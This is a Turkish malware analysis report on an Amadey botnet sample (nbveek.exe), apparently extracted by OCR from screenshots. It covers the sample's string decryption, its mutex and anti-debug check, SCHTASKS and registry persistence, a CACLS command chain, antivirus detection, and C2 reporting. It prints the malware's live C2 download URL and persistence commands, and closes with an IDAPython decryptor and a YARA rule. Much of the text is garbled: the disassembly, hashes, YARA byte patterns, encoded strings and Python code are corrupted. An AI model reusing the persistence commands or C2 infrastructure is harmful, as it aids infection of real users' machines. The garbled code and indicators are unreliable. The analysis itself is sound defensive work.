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On Bakis

Botnet olarak ortaya ¢ikan Amadey, Rus Hack forumlarinda ilk kez Kasim 2018
tarinlerinde gorulmustar. Dlzenli olarak sistem hakkindaki bilgilerini ve antiviris
yazilimlarini komuta kontrol sunucusuna aktarmaktadir. Asil islevi ise, ele gegirilen

sistemlerin hepsine veya 6zel olarak hedeflenenlere baska payloadlar ylklemektir.

Enfekte edilen cihazlardan elde edilen bilgilerden bazilari sunlardir;

o Kayit defteri manipulasyonu,
o Cihaz 6zellikleri ve dosya bilgileriy
e Guvenlik'uygulamalari,

o Isletim sistemi-bilgisi
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Nbveek.exe Analizi

Adi Nbveek.exe

MD5 77e0a0a90e0231493bd421f4cdab0668

SHA256 75520c76a4051b2be15db8625f35d4c1c63d93686bf849e6fc67f4e
62d2fd000

Dosya Turu PE32 / EXE

Statik Analiz

ilk bakista zararli dosyada stringler igerisinde kullanilan APrler disinda base64

degerler gbze carpmaktadir.

rdata:00433430
rdata:00433444
rdata:00433458
rdata:00433468
rdata:00433494
rdata:00433440
.rdata:004334B0
rdata:004334F8
rdata:00433558
rdata:00433570
rdata:0043358C
rdata:004335CC
rdata:00433500C
rdata:004335F4
rdata:00433608
rdata:00433664
rdata:0043367C

00000011
00000011
00000000
00000029
00000009
00000009
00000045
00000050
00000000
00000019
00000030
00000000
00000015
00000000
00000059
00000015
00000009

OO OO0 0000n00nnnn

KQKkcM IhBGC==
g4 UMOwWwHe0655==
RUCKQuEKYO3R=
IUCAUMESYURMN2DdTYaKNWIMHMyZ I KABAFWYWOSF=
FwYWPAFn
FepxM7==
RUYIQwiGQmOelMYcgogvd3U21 B4 13 05yaX Cel TODY olwiHQicrCM30eYjLgkKee mWK==
RUYIQwiGQm0eMYcgogvvd3U21B41305yaCel TODYo0wTHQicrCI430eVTEs31 BWRyeQM5q2kGV...
RXGjEdWEIC==
VWQmDsdIEHOPKGcPIGYvD4zi
RUYIQwiGQmOeMYcgog¥vd3U21B4 13 05yaX Cel TODSolwiHQicrCI430eY]Lyg
hKwlwiCBM
FwYGUMCq [ZIE3ILIGx=
RByxUTOmaZR=
RUYIQwiGQmOeMYcgog¥wvd3U21 B4 13 05yaXCel TODo0wiHQicrCI430eVTEs31 BWRyePSmgBIBiK...
GPEVMLOVOmdILWoCJU==
Uyuyliq==

Gorsel 1% IDA strings

Base64 oldugu dusliniilen degerlerin bazilari decode edildiginde “)p~"G\é=", “" &

Q{+d*” , “&#” , “DIF” seklinde anlamsiz degerler cikmaktadir. Bu degerler
belirlenmis bir anahtar kullanilarak runtime 'aninda anlamlandiriimaktadir.
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/5 = [CONST LHAK ~}Lprllename;

2
if { véR »= @xl@ )
25 = 1 N

[

44 = (LPCSTRY}sub_41585@(Filelam
v37 = (const CHAR *)sub_415858(v&l);
CopyFileA(v37, va4, 1);
if ({ (unsigned _ int8)sub_405e28((char *)FileMName) )
{
w58 = &v48;

Gorsel 2- IDA pseudo kod pargasi

Burada bir dizin igerisinde once klasorli arayip, yoksa olusturuldugunu ardindan o
klasor altinda bir dosyay! arayip yoksa igerisine elde tutulan dosyanin kopyalandigi

gorulmektedir,

+TOSTIRS0 PUST] L

1@R4B3A44 push offset al HE

1 BB483A4F call sub_416B18 3 Call Procedure

1 @B403454 add esp, 8 ; Add

1 BA4A3A57 xor edx, edx 3 Logical Exclusiwve OR
180483459 test al, al ; Logical Compare

1 @B4B3A5E mov ecx, 5

1884083468 cmovz ecx, edx ; Move if Zero (ZF=1)
1BB4B3AE3 mov edx, offset aRunas ; "runas”

18B483A68 push ecx ; Size

1BALB3AE9 mov ecx, offset Src

1BB4A3ARE cmovnz ecx, edx 3 Move if Mot Zero (ZF=8)
1@80483A71 push ecx 3 Src

188483472 lea ecx, [ebp+lpOperation] ; wvoid *

180483475 call sub_415CD@ ; Call Procedure

1BB4B3ATA cmp [ebpt+arg_44], 1@h ; np

1BB4B3A7E lea edx, [ebp+lpParameters]

1@B483A81 push o] 3 nshowCmd

1@8B483A83 cmowvnb  edx, [ebp+lpParameters] ; M )
18n483A87 lea ecx, [ebp+lpFile] ; Load E

1@R4B3ABA cmp [ebp+arg_2C], 1@h ; Compare T

:@B4B3A8E lea eax, [ebp+lpOperation] ; Load

1BB483A91 push 8 5 lpDirectory

:80483A93 cmowvnb  ecx, [ebp+lpFile] ; Move if Not Below (CF=8)
1BB4B3A97 cmp [ebptarg_14], 18h ; Compare Twe Operands
1@B483A9B push edx ; lpParameters

:88483A9C cmovnb eax, [ebp+lpOperation] ; Move if Not Below (CF=8)
1B8B483AA8 push ecx ; lpFile

1@B483AA1 push eax ; lpoperation

1BB4B3AA2 push e 3 hwnd

108403484 call ds:5hellExecuted ; Indirect Call Near Procedure
CARAARLLL mAv adv  Tahntars 141

Gorsel 3- IDA goriiniimii

Dosya kopyalama igleminin hemen ardindan kopyalanan dosyanin burada “runas”

parametresi ile ¢alistirildigr agikga goértlmektedir.
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Dinamik Analiz

Foncon o -
xor edx,edx . 1 b 11310[|_| .text:8l145BAE mov ebx, es
cmp eax,edi edi 1 "85 OO0 = ~text:81145BAA cmp ecx, 1€
mov edi,esi adi: "TEENKNKHMKNNK" |, 85T 1 " EEXUMNKUNNKK] sub_113107 .text:81145BAD b short 1
cmovhe edx,eax |
cmp dword ptr ds:[EF8BA0],10 sub_11310;
mov eax,nbveek.EFS8BEC EF8BSC:&"850c61fT7cfc4c28ae073b6cey|
cmovae eax,dword ptr ds: [EFSESC] |0DEFSBEC:&"850C61FF7cfcic28ae073bad sub 113104
cmp dword ptr ds: [esi+14],10 sub_11310¢ _
jb nbveek.EC2A14 Eﬁl
mov edi,dword ptr ds:[esi] edi 1 "85 XHUAKRXKKK™ , 51 1 " BEXNNNKNKK sub_11310¢
mov al, byte ptr ds: [edx+eax] Ltext:B1145BAF 1
mov byte ptr ds:[edi+ecx],al editeck®1: "XHUHHHHKAKK" sub_ 11310,
inc ecx
mov edi,dword ptr ss:[febp-4[J sub 11310 45BB1
lea eax,dword ptr ds:[edx+1] sub_113101 .
cmp ecx,ebx cub 113110 45BB1 loc_1145BB1: ; Size
i1 nbveek.ECZ29F0 - 45BB1 push edi
Cﬂpngﬂgéﬂ EEEAQ" Lesirisl, 10 sub_11311 45BB2 push 78h ; 'x' 3 val
3; gax dword ptr ds:[esi] §§§§§§§§§§§§ sub_11311: 45BB4 push ehx ; void *
el . .
ov byte ptr ds:[eax+ecx],0 sub_11311¢ 45885 mov [E_Slﬂ?h]' edi
ov eax,esi B5000000000¢" 45BBS call _memset
op esi = " BE 000000000 sub 113118 | 4cpep add esp, @ch
=)
Es :g; ebp g Y 45BCE mov byte ptr [ed1+ehx],
:
op ebp 45B8C4 mov eax, esi
Fet i i Line 16 of 985 45BC6 pop edi
pop edi edi @ "EE XXX XNKKAXX .
mov byte ptr ds:[esi+ecx],0 esi+ecx HHHKKHKHK " dhce O & X 45BC7 pop es1
i - B | nrsamar = 45BCE pop ebx
45BC9 mov esp, eb
amiyacak ‘:%' 45BCB po ebp) F
‘eek’, DOEC2A3A ) pop P
S 4SRC( retn £ : Returp

Gorsel 3- x32dbg

Anahtar gorevi goren deger, ¢oziilecek degerin boyutuna ayarlanmaktadir.

Lmp uyLe pur us: Lecareax]y Ol SUATEDR - L1 & KAXRKARAARRRAKRRK
mov ebx,dword ptr ds:[32901C) eh: & OO0

je nbveek.2F2B75

inc eax

cmp eax,ebx ebx: & 000000000

jb nbwveek.2F2B50
or eax,FFFFFFFF
cmp dword ptr ds:[329020],10
mov esi,nbveek.32900C

mov ecx,ebx

cmovae esi,dword ptr ds:[32900C]
sub ecx,eax

lea eax,dword ptr ds:[edx+ecx]
xor edx,edx

" bcdefghuk]Tnopqrstm‘\xyzAElCDEFGHIJKLHh.OF‘QRSTU\d.)\YZDiE’-tSG‘SS ", 32900C:&"abcd
MRN8 HHRHHKHOOOOO0L
bcdefghuk'lTnopqrstu.mxyzAECDEFGHIJKLHh.GPqRSTU\AAYZUHHSG’SB ", 0032900C:&"ab
2 & 0000000000

div ebx b3 : & HIOOOOOOONHK
mov ebx,dword ptr ss:flebp-14] [eb H xxxxxxxxxxxxxxxx"
mov ecx, ebx SO & KNKOGKXKHXKOOKK" 80K & XHHUNKKHKKHKKRKAK

dwnrd ptr ds:[ebx+14],10
Jh nbveek ZFZEBAD
mov ecx,dword ptr ds:[ebx] ecx:&" xxxxxxxxxxxxxxxx ]:" xxxxxxxxxxxxxxx"
mov a'l‘byte ptr ds:[edx+esi] edx+esi*i: hoPQRSTU\anZDiZ’-‘SG "
mov esi,dword ptr ss:|[febp-10]
mov byte ptr ds:[ecx+esil,al
inc esi esi:"abcdefghijkimnopgrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
mov dword ptr ss:[ebp- 1U] esi
cmp esi,dword ptr ss:|[[ebp-2]
j1 nbveek. zF2A52
cmp dword ptr ds:[ebx+14],10

mov eax,ebx £ & 0000000

jb nbveek.2F2BCB

mov ecx,dword ptr ds:[ebx] BOHI & IO KN R HHHHK [ebx] @ "MK HRRHR "
pop edi edi:&"KQKKICN J1hBGC==

Gorsel 4- x32dbg metin ¢oztimleme islemi

Elde edilen deger ile ¢gozlulecek deger'bir takim islemlerin ardindan anlamh base64

degerlerini olugsturmaktadir.

N, e e e s e b
call nbveek.3729B0
add esp,4

lea eax,dword ptr ehp-4n] [ebp-40]:"850c61ff7rcfc4czs
mov byte ptr ssiffe
push eax

Tea edx,dword ptr
Tea ecx,dword ptr
call nbwveek.372A50
add eso.4

bp-

eax: &"NWViNmIGNICZN
[ebp+8] : "KQKKICN J1hBGC==
[ebp-28] : "NWViNMISNJCZN

Gorsel 5- x32dbg ¢6ziimlenmis érnek

KQKKIcN JInBGC== // NWViINmI5NjczNA== // 5eb6b96734 (klasor adi)




€all dword ptr ds:[<&GetModulerileNameAx]
Tea ecx,dword ptr ss:[lebp-113]

mov dword ptr ss:|lebp-4320§,0

mov dword ptr ss:[ebp-42C],F

Tea edx,dword ptr ds:[ecx+1] ecx+l: "\ Usersy) \Desktophynbveek, exa"
mov byte ptr ss:lflebp-440f,0

op
mov al,byte ptr ds:[ecx] ecx: "C:\\Users® “Desktoph\nbveek. exa"
inc ecx ecx: "C:h\Users® “Desktoph\nbveek. exe"
test al,al

jne nbwveek.29DF0
sub ecx,edx ecx: "Cih\Users® sDesktophynbveesk. exea"
Tea eax,dword ptr ss:|[ebp-113]
push ecx ecx: "Cii\Usersh) shDesktophynbveek. exe"
push eax

lea ecx,dword ptr ss:|[ebp-440]
call nbwveek.35CD0

mov byte ptr ss:lflebp-40,A A"y’
Tea ecx,dword ptr ss:|[febp-440]
cmp dword ptr ss:|febp-4zC,10
Tea edx,dword ptr ss:|lebp-423] [ebp-428]: "C:\\Users® WhAappDatahLocal’y\Temp'\5ebebae7 34"\ nbveek, exa"
mov ebx,dword ptr ss:|ebp-440]

Gérsel 6- AntiDebug

GetModuleFileNameA Api'si kullanilarak ¢alisan dosya konumu almaktadir.
Oncesinde kendini kopyaladidi yer ile de bunu kiyaslamaktadir{ Eger ayni yerde
calismiyorsakendini-kapatmaktadir.

. cmovae eax,dword ptr ss:|febp-25] Lebp-28]:L" 00670025 a2ab0s704bbb0cs 89b88924¢

- push eax eax:L"006700e5azabos 704bbb0ocs83bs89z4d”

. push 0O

L] push 0O
—e call dword ptr ds: [<&CreateMutexw:=]

. call dword ptr ds:[<&GetLastError:=]

- cmp eax,B7 eax: L"006700e5azabos704bbbocs 89b889244"
---@ je nbveek.10Z27F0OD

- mov edy . dwnrd ntr =<:Behn-140

Gorsel 7-1x32dbg Mutex

“006700e5a2ab05704bbb0c589b88924d” adiyla bir mutex olusuturulmakta ve
GetLastError ile “ERROR_ALREADY_EXISTS” (0xB7) kontroll yapilmaktadir.
Sayet mutex olusturulmugsa zaten galistigl kabul edilerek program kapanmaktadir.

LMY UWURU PLE 555 EEUDTLUE, LU

push edx edx: " /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR \"C:\\Users AppData‘)\Localy\Tempi\5eb6b96734\ \nbveek. exe
cmovae eax,dword ptr ss:|[ebp+s]

push ecx ecx: "SCHTASKS

push eax

push 0

€all dword ptr ds:[<&ShellExecuteA>
mov edx.dword otr ss:Bebo+1CH

Gorsel 8- Cmd SCHTASKS persistence

Gorseldeki script ile programi her dakika basinda calistirmaktadir ve “/F” (Force)
parametresi ile de uyarilari gdz ardi etmektedir.
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"kodex™

N,

I'MI"

"CACLS WU
"nbveek. exe"
g
"kodex™

|r:Rl..‘|r llr-Elr

PP

"echo Y|CACLS "
" WS ebeb9eT 34"
ST
"kodex"

vt

llmll

"CACLS WU
"W EebeboET 24"
e
"kodex™

RN JET
"EEENTT™

Gorsel 9- Cmd scripti

Parca parca ¢ozulen degerler stack iginde tutulup calistirimadan énce
birlestirilmektedir.

"C:\Windows\System32\cmd.exe" /k echo. Y|CACLS "nbveek.exe" /P
"kodex:N"&&CACLS "nbveek.exe" /P "kodex:R"/E&&echo Y|CACLS
"..\5eb6b96734" /P "kodex:N"&&CACLS "..\5eb6b96734" /P "kodex:R*
IE&&EXit

*Kodex = %USERNAME%

. R T T T T tie] U i e W G LA | ) M)
Memor Environment Handles GPU Comment 4 >
[ tenory [ en | ' | bR ' WL e —
General | Statistics I Performance I Threads | Token I Modules
Library func [l Regular funct Jll Instruct | Di [ Unexplo = External sym [l Lumina fun
File -
S Vircons ot e Areno e x| Br.0 [Hse.0 | Fst. 0 [ Ore. 0 [ B4
P X ~ ] :@1133A9B push edx ; lpParameters
Verified) Microsoft Windows Function name _| . p113300C cmownb  eax [ebp+lpOperation] ; Move if Not B
Version: 6.1.7601.17514 oFTl | o | b 181133448 push ecx ; lpFile
Image file name: 59| Linel8 of 985 181133AA1 push eax ; lpOperation
- 1@1133AA2 push @ 3 hwnd
C:\Windows\SysWOWE\cmd. exe D fac: 0 8 x 181133484 call ds:ShellExecuted ; Indirect Call Near |
TBL133AAA mov edx, [ebptarg_14]
| . 1@1133AAD cmp eax, 2Ah ey rands
I Information =] :@1133AB8 setz bl ; Se o (ZF:
= :A11334R3 rmn edw. 10h s rands
“C:\Windows\System32\cmd. exe” fk echo Y|CACLS 'nbveek.exe”™ P “kodex:N"&RCACLS - o 100.00% (1&26,984) (8¢,139) 0000ZE10 01133210: (Synchron
“nbveek.exe” /P kodex:R”™ [E&R&echo Y|CACLS ~..\5eb6b36734™ /P kodex:N"8&CACLS
~..\5eb6b96734™ [P kodex:R" [EREEXit E|Oumutwindow O & x
| 4 n 3
Pythen | .rdata:011633F0 00000011 C KdxwH F5HIVzElz0
AU: idle TUp Disk: 36GB
i wintools64.exe 1764 013 684 B/s 11,64 MB WIN-L1K
4 ¥¥ :32dbg.exe 724 024 58,8 MB WIN-L1K
an | nbveek.exe 4048 18 MB WIN-L1K
R cmd.exe 1808 2,06 MB WIN-L1K
o~ — — ]

Goérsel 10- Cmd scripti_2

“Cmd.exe” icinde galisan bu scripti erigim listesini kontrol etmeyi
saglamaktadir.”echo Y|” komutuyla, “Are you sure?” sorusunun yanitini “YES” olarak
girmektedir. “Kodex:” kullanicinin girmesi gereken cevaplari girmeyi
saglamaktadir, burada ise "nbveek.exe” dosyasina dnce “None” izni sonra “Read”
izini verilmektedir. Ardindan ayni iglemi zararlinin bulundugu klasor icin de }

uygulanmaktadir.
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ebp

Q Kayit Defteri Diize... =@ =] tr ss: [ehp—;i.‘_ [ebp+8] : "SOFTWARE\\Microsoft'\'\Windows "\ Currentversion\\Explorer\’User shell Folders"
Dosya Dizen Gérdndm
Sik Kullarilanlar  Yardim [<&RegOpenkeyExa| Dize Dizenle @
| |i TypedPaths || ad -
. User Shell Folders Deder adi:
UserAssist i_b] sendTo Startuy EEETERY
: VisuslEffect: ab) Start Men £
) ““,STIE st 25| Startup Deder verisi: ebEbIET 34"
| Wallpaper 0 e E————
pep 28] Template: LI \Users\zomo\App DataLocal\ Temp\5ebBb 96 734
. Wallpapers e i
Bilgisayar\HKEY_CURRENT_USER\Softwa

ecx: "Startup”

push dword ptr ss:|[febp-s]

call dword ptr ds:[<&RegSetvValueExAx>]
push dword ptr ss:|lebp-Sj

€all dword ptr ds:[<&RegClosekey=]
mov edx,dword ptr ss:|febp+1C]

cmp edx, 10 edx: "Ciy\Usersy \AppDatai\Local'\Temp'\5eb6bIe7I 4"

jb nbwveek.1022F44

mov ecx,dword ptr ss:|[Jebp+z] [ebp+8] : "SOFTWARE\“Microsofty\windows\\Currentversion\\Explorer\User Shell Folders"
inc edx edx: "CiA\\Usersh? “AppDatahh LocalsTemph\5ebebaar344 4"

movV eax,ecx ecx: "startup”

cmp Iedx‘:;-:-:: edx: "C:\\Users\} ‘\AppDatayi\Local \Temp'\5eb&ebas734"\\"

Gorsel 11- Kayit defteri ile kalicilik

HKEY_CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
User.Shell Folders

Kayit defterinde.yeralan bu yolun varsayilan degeri asagidaki dosya yoludur:

“%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” |

Fakat zararl bu iglem ile . varsayilan baslangi¢ yolunu kendi dizinine
ayarlamaktadir.

12 = vi24.dwMajorVersion;
if ( viz4.dwMajorVersion == 18 )
{

if ( !vlz4.dwMinorVersion )

v1l = (v125 != 1) + 13
LABEL_86:
dword_438938 = v11;

return dword_433930;

if ( vi24.dwMajorVersion |= 6 )
gote LABEL_76;

12 = vi24.dwMinorVersion;

if ( vi24.dwMinorVersion == 3 )

11 = (v125 I= 1) + 3;
goto LABEL_86;

if ( vi24.dwMinorVersion != 2 )
gote LABEL_72;

if (125 == 1)

{

123 = &v1e5;
dword_43893@8 = 1;
sub_415978(Rdword_439854) ;

sub_482BEB( N N N N N N

151 = 1;
sub_41597@(&dword_439264);
sub_482BE@( , .
1531 = -1;

13 = (_DWORD *)REGOPEN(

?‘IIIZE\-’:LOCAL_P-'IACHINE,
Gorsel 12- Versiyon kontrolii

Daha sonra loglanmak igin bellege alinan “OSVERSIONINFOEXA” yapisi i¢erisinden
versiyon kontrolu yapiimaktadir. Eger igletim sistemi Windows Server 2012 veya
Windows 8 ise registery Uzerinden kontrol yapilmaktadir. Ayrica
GetNativeSysteminfo API’si ile kontrol edilen veriye gore de
SOFTWARE\Microsoft\Windows NT\CurrentVersion igindeki ProductName
degerinde 2016, 2019, 2022 degerlerini aramaktadir. Bu sonuglara gore “OS”
loglamasi degismektedir.
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mov ecx,esp

push nbwveek.EFSEA4
call nbveek.ED5370
lea ecx,dword ptr
€all nbveek.ECZBED
mov esi,eax

lea ecx,dword ptr ss:[Jebp-40f

mov dword ptr ss:|lebp-4f,0

call nbwveek.EC5650

push esi

mov edx,eax

mov byte ptr ss:[febp-4J,1

lea ecx,dword ptr ss:|[lebp-zs]

€all nbwveek.ED5SE20

add esp,i1cC

cmp dword ptr ds:[eax+14],10

jb nbwveek.ECGEB2

mov eax,dword ptr ds:[eax]

push eax

€all dword ptr ds:[<&GetFileAttributesA=]
mov ebx,eax

rmn ghx Ccooooooo

ss![lebp-5 s}

EF8BA4: &"NPODPRVIQ4do7I5ecql="

T Software”, eax:&"C:‘\\ProgramData‘\AVAST Software"

nt

T software”
%\ ProgrambData®

software”

28]:"C:\\Programpata" AST Software”

Y Programbata’ Software™, [eax]:"C:“\ProgramData‘} 5T Software"
Programbata® Software"
eax:&"C:%\Programbata® Software"

Gorsel 13- AV kontrolii

ProgramData klasoéru altinda secilen guvenlik yazilimlarinin varligi kontrol

edilmektedir. ProgramData

klasoru altinda belirtilen guvenlik uygulamalarindan

herhangi-birinin adi.ile olusturuimus (bos bile olsa) bir klasor varsa “antivirus.var”
olarak algilamaktadir. (&av=1)

AVAST Software

Avira

Kaspersky Lab ESET

Panda Security

Doctor Web

AVG 360TotalSecurity

Bitdefender

Norton

Sophos Comod

€all nbveek.1035E20

call nbveek.1035880
mov edx,dword ptr
cmp_edx, 10

jb nbveek.10333FC
mov ecx,dword ptr
inc edx

mov eax,ecx

cmp edx, 1000

ib nbveek.10333F2
mov ecx,dword ptr ds:
add edx,23

sub

add

[ecx-4]

cmp eax, 1
ja nbveek.1034234
push edx

push ecx

call bveek.1037534
=An acn'o

lea ecx,dword ptr ss:[lebp-670]

add esp,4

mov edx,eax

mov byte ptr ss:|[ebp-4l,2E
lea ecx,dword ptr ss:[ebp-sEo]
gall nbveek.1035F20

add esp,4
mov_ecx,nbvesk.10593E4

push ea

ss:[Jebp-sccl

ss:[jebp-5E0f]

&05=9&b1=1&ar =0&pC=WIN-L1KDN7 9FE80I&UN=Z Or r 0&dm=&av=1&1v=0&0g=1"

360232805=9&b1 =1&ar=0&p

WIN-L1KDN7 9PE0J&UN=Z Or r 0&dm=&av=1&Tv=0&0g=1"

eax: &"1d=987719733412&v5=3 . 66&50=360232405=9&bT1=14ar=0&pC=WIN-L1KDN7 9P80J&uUn=z or ro&dm=&av=1&1v=0&0g=1"

[ebp-5£0] 9&bi=1&ar=D&PC=NIN-L1KDN7 9PB0I&UN=Z or r o&dm=&av=1&1v=0&0g=1"

1&8r=0&pc=WIN-L1KDN7 9PE0I&UN=Z0r r 0&dm=gav=1&1v=0&0g=1"

NIN-L1KDN7 9PE0J&UN=Z0r r o&dm=gav=1&1v=0&0g=1"
NIN-L1KDN7 9PE0J&UN=Z0r r o&dm=gav=1&1v=0&0g=1"
WIN-L1KDN7 3P80J&UN=zor r o&dm=&av=1&1v=0&0g=1

i Tl

i

78 &"10-987719733412&V5=3. 66&50=360232&05=9&D1 =1&4r —0&DC=WIN-L1KDN7 SPE0J&UN=Z Or r 0&dm=&av=1&1v=0&00=1"

Gorsel 14- LSAPolicyLookup

Yukaridaki gorselde sistem hakkinda toplanan bilgiler komuta kontrol sunucusuna
gonderilmek Uzere tek metin halinde birlestiriimektedir.

>
A‘Jj‘——’-fjl‘



push 0

push o0

push 0

lea eax,dword ptr ss:|[Jebp+s] [ebp+8] : "http://62.204.41.27,/9djZdjo9/Plugins/clip&4.d11"
mov dword ptr ss:|[lebp-5of,ecx
cmovae eax,dword ptr ss:[ebp+s] [ebp+8] : "http://62.204.41.27,/9djZdjo9/Plugins/clip&4.d11"
push 0

push eax

push ecx

€all dword ptr ds:[<&InternetOpenurlA=]
mov edi,eax

lea eax,dword ptr ss:[lebp-14]

push eax

push dword ptr ss:[lebp-14]

push esi

push edi

call dword ptr ds:[<&InternetReadFilex]
test eax,eax

je nbwveek.ECS3EF

mowv ebx,dword ptr ds:[<&WriteFilex]

mov eax,dword ptr ss:[febp-14]

test £Aax. 2AxX

Gérsel 15- Zararli URL

Gorseldeki URL'yi acip dosya okumayidenemekte fakat kapali oldugu i¢in bunu
gercgeklestirememektedir.

. » zomro » AppData » Reoaming » 006700e5a2ab05 - |¢?|| Ara: O
Kitaphga ekle = Bununla paylag » Yaz Yeni klasgr
Ad Degigtirme tarihi Tir Boyut
anilanlar B N
fan Yioklerneler %) clipgd.dll 24.02.2023 20:46 Uygulama uzantisi 0 KB

ek

Gorsel 16- Indirilecek dosya

Okunduktan sonra yazilmasi beklenen dosya dizini de bu sekildedir. Oncesinde
Mutex burada olusturulmaktadir.

| C:\Users\%USERNAME%\AppData\Roaming\006700e5a2ab05\ |

62.2084.41.27 192.168.247.1: - 60 3@ -+ 49224 [RST, ACK] Seq=1 Ack=1 Win=64248 Len=0

287

1287 <Ignored>
79 <Ignored:

76

76 <Ignored:>
78 «Ignored:
136 <Ignored:

192.168.247.128 62.284.41.27 11l 66 49229 » B@ [SYN] Seq=0 Win=8192 Len=8 M55=1460 WS=..

Gorsel 17- Wireshark gériinimdi

Olusturulan thread ile program her defasinda komuta kontrol sunucusuna TCP
paketi gondermektedir. Fakat sunucu kapali oldugu i¢cin RST paket geldiginden
dolayi herhangi bir iglem devam etmemektedir.

4
I .




A

4

(

end = 0x433E59  # Here is for end of the encoded string's
start = Ox4333F0  # Start of encoded string's address

value = idaapi.get_bytes(start,end-start)
stringValue = value.decode("utf-8")
listedValue = stringValue.split('\x00")

def yaz(final):
if(final 1=""):
text_file = open("Decrypted.txt”, "a")
text_ file.write(final+"\n")
text_file.close()

def decodeToBaseb64(listedValue):

alphabet = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
key = "850c61ff7cfc4c28ae073b6ce7172cbhd850c61ff7cfc4c28ae073b6ce7172chd”

alphabetl = alphabet]::-1]

for line in listedValue:
final =""
counter=0

while(len(line)!=.counter and line[counter]!="=" and line[counter]i="+"):

indexAlp= 0

while(alphabetl[indexAlp] I= key[counter]):
indexAlp+=1

indexAlp2 =0

#print(line[counter])

while(alphabet[indexAlp2] != line[counter]):
indexAlp2+=1

final +=alphabet[((indexAlp+1) + (indexAlp2+1)) % 63-1]

counter +=1
yaz(final)
decodeToBase64(listedValue)

Sifreli metinler yukaridaki IdaPython kodu ile Base64 degerlerine dondurilmuis

halde metin dosyasina yazilmaktadir.
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YARA Kurali

import "pe"

rule Amadey{

meta:

author="enessakircolak"

date="01.03.2023"

strings:

$a = "Amadey.pdb"

$b = {83 3D ?? ?? ?? ?? 10 BE ?? ?? ?? ?? 8B CB OF 43 35 ?? ??
????72B C88D 04 0A33 D2 F7 F38B5DEC8BCBS837B 14 10 7202
8B 0B 8A 04 32 8B 75 FO 88 04 31 46 89 75 FO 3B 75 F8}

$mutex = "006700e5a2ab05704bbb0c589b88924d"

Skey = "850c61ff7cfc4c28ae073b6ce7172chd"

$encl = "KdxwH F5HIVzEIz0"

$enc2
"RUYIQviIGQMOeMYcgcqYv43U21B4130SyaxXCeLTOD900w7HQIicrCl430
eVT8s3l BWRyeQNSq9kGV4IMpbGqC43sm3Tzv"

$enc3 = "OWK20cK57Z4nN5cwdKKpKX0ofs=="

$encd = "AKeF7S 5VY 2EWImc7qr5392eSZqFkCp9XyvGMWm
1J9BIWeb0J5ANMjhCueFACP8QMn7cKyVV5K"

$apil = "CreateMutex"

$api2 = "GetVersionEx"




$api3 = "CreateThread"

$api4 = "ShellExecute"

$api5 = "HttpOpenRequest"

$api6 = "InternetOpenUrl"

$api7 = "CopyFile"

$api8 = "LoadLibraryEx"

$api9 = "CreateDirectory"

$apil0 = "RemoveDirectory”

$apill = "GetFileAttributes"

$apil2 = "RegCloseKey"

condition:

uint16(0) == 0x5a4d

and filesize <= 1MB

and pe.imports("WININET.dII")

and(

any of ($a,$b,$api*) or all of ($enc*,$mutex,$key)
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https://www.linkedin.com/in/enes-sakir-colak/

